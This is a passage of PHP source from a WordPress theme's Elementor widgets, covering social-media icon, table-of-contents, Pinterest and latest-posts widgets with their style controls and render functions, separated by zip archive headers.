				'label_off' => __( 'No', 'soledad' ),
			)
		);
		$this->add_control(
			'dis_border_radius',
			array(
				'label'     => __( 'Remove Border Radius on Border of Icons ?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);
		$this->add_control(
			'brand_color',
			array(
				'label'     => __( 'Use Brand Colors for Social Icons ?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
			)
		);
		$this->add_responsive_control(
			'size_icon',
			array(
				'label'     => __( 'Custom Font Size for Icons', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 100,
					),
				),
				'selectors' => array(
					'{{WRAPPER}} .widget-social i'   => 'font-size: {{SIZE}}px;',
					'{{WRAPPER}} .widget-social svg' => 'width: {{SIZE}}px; height: auto;',
				),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(),
			array(
				'name'     => 'size_text',
				'label'    => __( 'Typography for Text', 'soledad' ),
				'selector' => '{{WRAPPER}} .widget-social span',
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_show_socials',
			array(
				'label' => __( 'Socials', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);
		$show_socials = $this->get_show_socials();
		$socials      = get_option( 'penci_custom_socials', array() );

		if ( ! empty( $socials ) ) {
			foreach ( $socials as $slug => $attr ) {
				$show_socials[ 'Show ' . $attr['name'] ] = $slug;
			}
		}

		foreach ( $show_socials as $social_label => $social_key ) {
			$default = '';
			if ( in_array( $social_key, array( 'facebook', 'twitter', 'instagram' ) ) ) {
				$default = 'yes';
			}

			$this->add_control(
				$social_key,
				array(
					'label'     => $social_label,
					'type'      => Controls_Manager::SWITCHER,
					'label_on'  => __( 'Yes', 'soledad' ),
					'label_off' => __( 'No', 'soledad' ),
					'default'   => $default,
				)
			);
		}
		$this->end_controls_section();

		$this->register_block_title_section_controls();
		$this->start_controls_section(
			'section_style_content',
			array(
				'label' => __( 'Content', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_control(
			'social_text_color',
			array(
				'label'     => __( 'Icons Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .widget-social a i' => 'color: {{VALUE}};',
					'{{WRAPPER}} .widget-social a svg path' => 'fill: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'social_text_hcolor',
			array(
				'label'     => __( 'Icons Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
					'{{WRAPPER}} .widget-social a:hover i' => 'color: {{VALUE}};',
					'{{WRAPPER}} .widget-social a:hover svg path' => 'fill: {{VALUE}};',
				),
			)
		);
		$this->add_control(
			'social_bodcolor',
			array(
				'label'     => __( 'Icons Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .widget-social a i' => 'border-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'social_hbodcolor',
			array(
				'label'     => __( 'Icons Border Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .widget-social a:hover i' => 'border-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'social_bgcolor',
			array(
				'label'     => __( 'Icons Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .widget-social a i' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'social_bghcolor',
			array(
				'label'     => __( 'Icons Hover Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .widget-social a:hover i' => 'background-color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'social_textcolor',
			array(
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .widget-social.show-text a span' => 'color: {{VALUE}};' ),
			)
		);
		$this->add_control(
			'social_htextcolor',
			array(
				'label'     => __( 'Text Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array( '{{WRAPPER}} .widget-social.show-text a:hover span' => 'color: {{VALUE}};' ),
			)
		);

		$this->end_controls_section();
		$this->register_block_title_style_section_controls();
	}

	protected function render() {
		$settings = $this->get_settings();

		$css_class = 'penci-block-vc penci-social-media';

		$class_socials  = ' widget-social';
		$class_socials .= $settings['alignment'] ? ' ' . $settings['alignment'] : '';
		$class_socials .= $settings['text_right'] ? ' show-text' : '';
		$class_socials .= $settings['dis_circle'] ? ' remove-circle' : '';
		$class_socials .= $settings['dis_border_radius'] ? ' remove-border-radius' : '';

		if ( $settings['brand_color'] && ! $settings['dis_circle'] ) {
			$class_socials .= ' penci-social-colored';
		} elseif ( $settings['brand_color'] && $settings['dis_circle'] ) {
			$class_socials .= ' penci-social-textcolored';
		}
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content<?php echo esc_attr( $class_socials ); ?>">
				<?php
				$social_data = penci_social_media_array();
				foreach ( $social_data as $name => $sdata ) {
					if ( isset( $settings[ $name ] ) && $settings[ $name ] ) {
						$icon_html = penci_icon_by_ver( $sdata[1] );
						?>
						<a href="<?php echo esc_url( do_shortcode( $sdata[0] ) ); ?>" aria-label="<?php echo ucwords( $name ); ?>" <?php echo penci_reltag_social_icons(); ?> target="_blank"><?php echo $icon_html; ?><span><?php echo ucwords( $name ); ?></span></a>
						<?php
					}
				}
				?>
			</div>
		</div>
		<?php
	}

	public function get_show_socials() {
		return array(
			'Show facebook'       => 'facebook',
			'Show twitter'        => 'twitter',
			'Show instagram'      => 'instagram',
			'Show pinterest'      => 'pinterest',
			'Show linkedin'       => 'linkedin',
			'Show behance'        => 'behance',
			'Show flickr'         => 'flickr',
			'Show tumblr'         => 'tumblr',
			'Show youtube'        => 'youtube',
			'Show email'          => 'email',
			'Show vk'             => 'vk',
			'Show bloglovin'      => 'bloglovin',
			'Show vine'           => 'vine',
			'Show soundcloud'     => 'soundcloud',
			'Show snapchat'       => 'snapchat',
			'Show spotify'        => 'spotify',
			'Show github'         => 'github',
			'Show Stack-overflow' => 'stack-overflow',
			'Show twitch'         => 'twitch',
			'Show vimeo'          => 'vimeo',
			'Show steam'          => 'steam',
			'Show xing'           => 'xing',
			'Show whatsapp'       => 'whatsapp',
			'Show telegram'       => 'telegram',
			'Show reddit'         => 'reddit',
			'Show ok'             => 'ok',
			'Show 500px'          => '500px',
			'Show stumbleupon'    => 'stumbleupon',
			'Show wechat'         => 'wechat',
			'Show weibo'          => 'weibo',
			'Show line'           => 'line',
			'Show viber'          => 'viber',
			'Show discord'        => 'discord',
			'Show rss'            => 'rss',
			'Show slack'          => 'slack',
			'Show mixcloud'       => 'mixcloud',
			'Show goodreads'      => 'goodreads',
			'Show tripadvisor'    => 'tripadvisor',
			'Show tiktok'         => 'tiktok',
			'Show dailymotion'    => 'dailymotion',
			'Show blogger'        => 'blogger',
			'Show delicious'      => 'delicious',
			'Show deviantart'     => 'deviantart',
			'Show digg'           => 'digg',
			'Show evernote'       => 'evernote',
			'Show forrst'         => 'forrst',
			'Show grooveshark'    => 'grooveshark',
			'Show lastfm'         => 'lastfm',
			'Show myspace'        => 'myspace',
			'Show paypal'         => 'paypal',
			'Show skype'          => 'skype',
			'Show window'         => 'window',
			'Show wordPress'      => 'wordPress',
			'Show yahoo'          => 'yahoo',
			'Show yandex'         => 'yandex',
			'Show douban'         => 'douban',
			'Show Threads'        => 'threads',
			'Show Yelp'        	  => 'yelp',
			'Show QQ'             => 'qq',
		);
	}
}
PK     N\t  t  8  inc/elementor/modules/penci-table-of-contents/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciTableOfContents;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-table-of-contents';
	}

	public function get_widgets() {
		return array( 'PenciTableOfContents' );
	}
}
PK     N\[C  C  Q  inc/elementor/modules/penci-table-of-contents/widgets/penci-table-of-contents.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciTableOfContents\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Border;
use Elementor\Group_Control_Box_Shadow;
use Elementor\Group_Control_Background;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class PenciTableOfContents extends Base_Widget {
	public function get_name() {
		return 'penci-table-of-contents';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( 'Table of Contents', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-table-of-contents';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'table', 'content', 'index' ];
	}

	public function get_script_depends() {
		return [ 'jquery-ui-widget', 'penci-el-toc' ];
	}

	protected function register_controls() {

		$this->start_controls_section(
			'section_content_table_of_content',
			[
				'label' => esc_html__( 'Table of Content', 'soledad' ),
			]
		);

		$this->add_control(
			'selectors',
			[
				'label'       => __( 'Index Tags', 'soledad' ),
				'description' => __( 'If you want to exclude headings within a specific widget or element, edit that widget, go to the Advanced tab, and add the class <strong>ignore-this-tag</strong> to the CSS Classes field.', 'soledad' ),
				'type'        => Controls_Manager::SELECT2,
				'multiple'    => true,
				'default'     => [ 'h2', 'h3', 'h4' ],
				'options'     => [
					'h1' => 'H1',
					'h2' => 'H2',
					'h3' => 'H3',
					'h4' => 'H4',
					'h5' => 'H5',
					'h6' => 'H6',
				],
			]
		);

		$this->add_control(
			'offset',
			[
				'label'       => __( 'Scroll to Indexed Top Offset', 'soledad' ),
				'type'        => Controls_Manager::SLIDER,
				'separator'   => 'before',
				'description' => __( 'Scroll will stop after this offset from top', 'soledad' ),
				'default'     => [
					'size' => 10,
				],
				'range'       => [
					'px' => [
						'min' => 0,
						'max' => 250,
					],
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_additional_table_of_content',
			[
				'label' => esc_html__( 'General Options', 'soledad' ),
			]
		);

		$this->add_control(
			'context',
			[
				'label'       => __( 'Index Area (any class/id selector)', 'soledad' ),
				'description' => __( 'Any class or ID selector accept here for your table of content.', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'label_block' => true,
				'default'     => '.elementor',
				'placeholder' => '.elementor / #container',
			]
		);

		$this->add_control(
			'auto_collapse',
			[
				'label'     => esc_html__( 'Auto Collapse Sub Index', 'soledad' ),
				'separator' => 'before',
				'type'      => Controls_Manager::SWITCHER,
			]
		);

		$this->add_control(
			'history',
			[
				'label'       => esc_html__( 'Click History', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'description' => esc_html__( 'Click History is the list of web pages a user has visited recently of Table Of Content. This feature also responsible for Hash Generator.', 'soledad' ),
			]
		);


		$this->add_control(
			'extend_page',
			[
				'label'       => esc_html__( 'Extend Page', 'soledad' ),
				'type'        => Controls_Manager::SWITCHER,
				'default'     => 'yes',
				'description' => __( 'If a user scrolls to the bottom of the page and the page is not tall enough to scroll to the last table of contents item, then the page height is increased', 'soledad' ),
			]
		);

		$this->add_control(
			'toc_index_header',
			[
				'label'       => __( 'Index Header Text', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'label_block' => true,
				'default' 	  => 'Table of Contents',
				'separator'   => 'before',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_offcanvas',
			[
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'index_background',
			[
				'label'     => __( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-toc-wrapper' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'index_border',
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-toc-wrapper'
			]
		);

		$this->add_control(
			'index_radius',
			[
				'label'      => __( 'Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-toc-wrapper' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; overflow: hidden;',
				],
			]
		);

		$this->add_responsive_control(
			'index_padding',
			[
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-toc-wrapper' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'index_min_height',
			[
				'label'              => __( 'Min Height', 'soledad' ),
				'type'               => Controls_Manager::SLIDER,
				'size_units'         => [ 'px', 'vh' ],
				'range'              => [
					'px' => [
						'min' => 0,
						'max' => 1000,
					],
				],
				'selectors'          => [
					'{{WRAPPER}} .penci-toc-wrapper' => 'min-height: {{SIZE}}{{UNIT}}',
				],
				'frontend_available' => true,
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'index_box_shadow',
				'label'    => __( 'Box Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-toc-wrapper',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'header_style',
			[
				'label'     => __( 'TOC Heading', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'toc_index_header!' => '',
				],
			]
		);

		$this->add_control(
			'header_text_color',
			[
				'label'     => __( 'Text Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-el-toc-table-of-content-header h4' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'header_background_color',
				'selector' => '{{WRAPPER}} .penci-el-toc-table-of-content-header',
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'header_border',
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-el-toc-table-of-content-header'
			]
		);

		$this->add_control(
			'header_radius',
			[
				'label'      => __( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-el-toc-table-of-content-header' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; overflow: hidden;',
				],
			]
		);

		$this->add_responsive_control(
			'header_padding',
			[
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-el-toc-table-of-content-header' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'header_margin',
			[
				'label'      => __( 'Margin', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-el-toc-table-of-content-header' => 'margin: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'header_box_shadow',
				'label'    => __( 'Box Shadow', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-el-toc-table-of-content-header',
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'header_typography',
				'selector' => '{{WRAPPER}} .penci-el-toc-table-of-content-header, {{WRAPPER}} .penci-el-toc-table-of-content-header h4',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_list',
			[
				'label' => esc_html__( 'List of Contents', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'index_spacing',
			[
				'label'      => esc_html__( 'Title Spacing', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'range'      => [
					'px' => [
						'min' => 0,
						'max' => 20,
					],
				],
				'size_units' => [ 'px' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-toc-wrapper .penci-el-toc-table-of-content ul li' => 'padding: {{SIZE}}{{UNIT}} 0;',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'index_typography',
				'selector' => '{{WRAPPER}} .nav > li > a',
			]
		);

		$this->start_controls_tabs( 'index_title_style' );

		$this->start_controls_tab(
			'normal',
			[
				'label' => __( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'title_color',
			[
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .nav > li > a' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'index_title_underline_normal',
			[
				'label'     => __( 'Underline', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => [
					'{{WRAPPER}} .nav > li > a' => 'text-decoration: underline',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'hover',
			[
				'label' => __( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'index_title_color_hover',
			[
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .nav > li > a:hover' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'index_title_underline_hover',
			[
				'label'     => __( 'Underline', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => [
					'{{WRAPPER}} .nav > li > a:hover' => 'text-decoration: underline',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'active',
			[
				'label' => __( 'Active', 'soledad' ),
			]
		);

		$this->add_control(
			'title_active_color',
			[
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .nav > li.penci-el-toc-active > a' => 'color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'index_title_underline_active',
			[
				'label'     => __( 'Underline', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'selectors' => [
					'{{WRAPPER}} .nav > li.penci-el-toc-active > a' => 'text-decoration: underline',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_ofc_btn',
			[
				'label'     => esc_html__( 'Button', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'layout!' => [ 'fixed', 'regular' ]
				]
			]
		);

		$this->start_controls_tabs( 'tabs_ofc_btn_style' );

		$this->start_controls_tab(
			'tab_ofc_btn_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'button_color',
			[
				'label'     => __( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'button_background',
			[
				'label'     => __( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'        => 'button_border',
				'placeholder' => '1px',
				'default'     => '1px',
				'selector'    => '{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button'
			]
		);

		$this->add_responsive_control(
			'button_radius',
			[
				'label'      => __( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; overflow: hidden;',
				],
			]
		);

		$this->add_responsive_control(
			'button_padding',
			[
				'label'      => __( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'button_shadow',
				'selector' => '{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button'
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'button_typography',
				'selector' => '{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'tab_ofc_btn_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'ofc_btn_hover_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button:hover'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button:hover svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'ofc_btn_hover_bg',
			[
				'label'     => esc_html__( 'Background', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button:hover' => 'background-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'ofc_btn_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'ofc_btn_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-el-toc-toggle-button-wrapper a.penci-el-toc-toggle-button:hover' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();
	}

	protected function render() {
		$id       = 'penci-el-toc-toc-' . $this->get_id();

		$this->add_render_attribute( 'toc-wrapper', 'class', 'penci-el-toc-wrapper penci-toc-wrapper penci-toc-default' );
		$this->add_render_attribute( 'toc-wrapper', 'id', esc_attr( $id ) );

		?>
        <div <?php $this->print_render_attribute_string( 'toc-wrapper' ); ?>>
            <div>
				<?php $this->table_of_content_header(); ?>
				<?php $this->table_of_content(); ?>
            </div>
        </div>
		<?php
	}

	private function table_of_content_header() {
		$settings = $this->get_settings_for_display();

		if ( empty( $settings['toc_index_header'] ) ) {
			return;
		}
		?>
        <div class="penci-el-toc-table-of-content-header">
            <h4><?php echo esc_html( $settings['toc_index_header'] ); ?></h4>
        </div>
		<?php
	}

	private function table_of_content() {
		$settings = $this->get_settings_for_display();

		$this->add_render_attribute(
			[
				'table-of-content' => [
					'data-settings' => [
						wp_json_encode( [
							'context'        => $settings['context'],
							'selectors'      => implode( ',', $settings['selectors'] ),
							'ignoreSelector' => '.ignore-this-tag [class*="-heading-title"]',
							'showAndHide'    => $settings['auto_collapse'] ? true : false,
							'scrollTo'       => $settings['offset']['size'],
							'history'        => $settings['history'] ? true : false,
							'extendPage'     => $settings['extend_page'] ? true : false,
							'hashGenerator'  => 'pretty',
						] )
					]
				]
			]
		);

		?>
        <div class="penci-el-toc-table-of-content" <?php $this->print_render_attribute_string( 'table-of-content' ); ?>></div>
		<?php
	}
}PK     N\\    1  inc/elementor/modules/penci-pintersest/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPintersest;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-pintersest';
	}

	public function get_widgets() {
		return array( 'PenciPintersest' );
	}
}
PK     N\o/
t  t  C  inc/elementor/modules/penci-pintersest/widgets/penci-pintersest.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciPintersest\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciPintersest extends Base_Widget {

	public function get_name() {
		return 'penci-pintersest';
	}

	public function get_title() {
		return penci_get_theme_name('Penci').' '.esc_html__( ' Pinterest', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}
	
	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'pinterest' );
	}
	
	protected function register_controls() {
		

		$this->start_controls_section(
			'section_pinterest', array(
				'label' => esc_html__( 'Pinterest', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			)
		);

		$this->add_control(
			'pusername', array(
				'label'       =>  __( 'Enter the <strong style="color: #ff0000;">username</strong> or <strong style="color: #ff0000;">username/board_name</strong> for load images:', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => 'thefirstmess/animals-cuteness',
				'label_block' => true,
				'description' => __('Example if you want to load a board has url <strong style="color: #ff0000;"><a href="https://www.pinterest.com/thefirstmess/animals-cuteness" target="_blank">https://www.pinterest.com/thefirstmess/animals-cuteness</a></strong> You need to fill <strong style="color: #ff0000;">thefirstmess/animals-cuteness</strong>','soledad' ),
			)
		);
		$this->add_control(
			'pnumbers', array(
				'label'       => __( 'Number of images to show', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => 9,
			)
		);

		$this->add_control(
			'pcache', array(
				'label'       => __( 'Cache life time ( unit is seconds )', 'soledad' ),
				'type'        => Controls_Manager::NUMBER,
				'default'     => 1200,
			)
		);

		$this->add_control(
			'pfollow', array(
				'label'     => esc_html__( 'Display more link with username text?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'label_on'  => __( 'Yes', 'soledad' ),
				'label_off' => __( 'No', 'soledad' ),
				'default'   => 'yes',
			)
		);


		$this->end_controls_section();
		$this->register_block_title_section_controls();
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$css_class = 'penci-block-vc penci-pintersest';

		$pusername = $settings['pusername'];
		$pnumbers  = $settings['pnumbers'];
		$pcache    = $settings['pcache'];
		$pfollow   = $settings['pfollow'];
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content">
				<div class="penci-pinterest-widget-container">
					<?php
					if ( ! $pusername ) {
						esc_html_e( 'Pinterest data error: pinterest data is not set, please check the ID', 'soledad' );
					}
					$pinboard = new \Penci_Pinterest();
					$pinboard->render_html( $pusername, $pnumbers, $pcache, $pfollow );
					?>
				</div>
			</div>
		</div>
		<?php
	}
}
PK     N\"N@g  g  3  inc/elementor/modules/penci-latest-posts/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciLatestPosts;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-latest-posts';
	}

	public function get_widgets() {
		return array( 'PenciLatestPosts' );
	}
}
PK     N\zHc Hc G  inc/elementor/modules/penci-latest-posts/widgets/penci-latest-posts.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciLatestPosts\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module as Query_Control;


if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciLatestPosts extends Base_Widget {

	public function get_name() {
		return 'penci-latest-posts';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Latest Posts', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-list';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'post', 'cpt', 'item', 'loop', 'query', 'cards', 'custom post type', 'latest', 'recent' );
	}

	public function get_script_depends() {
		return [ 'penci_ajax_filter_latest' ];
	}

	protected function register_controls() {


		$style_big_post   = array(
			'mixed',
			'mixed-4',
			'mixed-3',
			'mixed-2',
			'mixed-larger',
			'standard-grid',
			'standard-grid-2',
			'standard-list',
			'standard-boxed-1',
			'classic-grid',
			'classic-grid-2',
			'classic-list',
			'classic-boxed-1',
			'overlay-grid',
			'overlay-grid-2',
			'overlay-list',
